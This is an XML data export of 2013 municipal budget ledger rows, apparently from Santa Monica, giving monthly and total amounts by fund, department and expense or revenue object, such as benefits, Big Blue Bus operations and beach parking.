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<row _id="1079"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5883.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>59</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5942.0</total></row>
<row _id="1080"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>21917.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21917.0</total></row>
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<row _id="1082"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>32443.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32443.0</total></row>
<row _id="1083"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1773.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-205</february><march>0.0</march><april>32</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="1084"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>685.0</total></row>
<row _id="1085"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6730.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6730.0</total></row>
<row _id="1086"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22782.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>228</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23010.0</total></row>
<row _id="1087"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>211.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>211.0</total></row>
<row _id="1088"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="1089"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561171.0</object><object_description>EMERGENCY FOOD DISTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>104521.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104521.0</total></row>
<row _id="1090"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561291.0</object><object_description>UBH-FAMILY PLACE TRANS HOUSING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="1091"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562341.0</object><object_description>SMC- The Pico Promise</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>155230.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>155230.0</total></row>
<row _id="1092"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>564111.0</object><object_description>CASE MANAGEMENT AND EDUCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92250.0</total></row>
<row _id="1093"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>407690.0</object><object_description>TAXI DECAL FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>355000</april><may>0</may><june>-355000.0</june><total>0.0</total></row>
<row _id="1094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8250.0</total></row>
<row _id="1096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400682.0</object><object_description>MEDICAL SUPPLIES REIMBURSEMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="1097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2096048.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2096048.0</total></row>
<row _id="1098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>118991.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>118991.0</total></row>
<row _id="1099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>153231.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>158231.0</total></row>
<row _id="1100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>106272.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>106272.0</total></row>
<row _id="1101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>134347.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1343</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>135690.0</total></row>
<row _id="1102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274676.0</july><august>0</august><september>0.0</september><october>4943.0</october><november>0</november><december>0</december><january>0.0</january><february>2796</february><march>0.0</march><april>-4646</april><may>0</may><june>0.0</june><total>277769.0</total></row>
<row _id="1103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>72923.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72923.0</total></row>
<row _id="1104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>36462.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36462.0</total></row>
<row _id="1105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>52028.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52028.0</total></row>
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<row _id="1134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4210.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4210.0</total></row>
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<row _id="1147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4438.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>44</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4482.0</total></row>
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<row _id="1153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407080.0</object><object_description>30 DAY IMPOUND FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-109295.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-109295.0</total></row>
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<row _id="1155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401260.0</object><object_description>BEACH PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8253422.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8253422.0</total></row>
<row _id="1156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>566631.0</object><object_description>SMURRF PLANT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>425000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>425000.0</total></row>
<row _id="1157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>433500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>433500.0</total></row>
<row _id="1158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>17952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17952.0</total></row>
<row _id="1159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>122418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-22418</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="1160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>27</april><may>0</may><june>0.0</june><total>27.0</total></row>
<row _id="1161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>29924</april><may>0</may><june>0.0</june><total>29924.0</total></row>
<row _id="1162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>86100</april><may>0</may><june>0.0</june><total>86100.0</total></row>
<row _id="1163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>45000</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="1164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4692.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4692.0</total></row>
<row _id="1165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21000.0</total></row>
<row _id="1166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3030.0</total></row>
<row _id="1167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="1168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402750.0</object><object_description>TDA SALES TAX-OPERATIONS</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-16150186.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-16150186.0</total></row>
<row _id="1169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404080.0</object><object_description>INTEREST - CAPITAL</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-139750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-139750.0</total></row>
<row _id="1170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407030.0</object><object_description>PROP C FOOTHILL MITIGATION</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-479732.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-479732.0</total></row>
<row _id="1171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>407320.0</object><object_description>MALL PARKING LEVY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-605918.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-605918.0</total></row>
<row _id="1172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407340.0</object><object_description>US TREASURY REIMBURSEMENTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-51000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-51000.0</total></row>
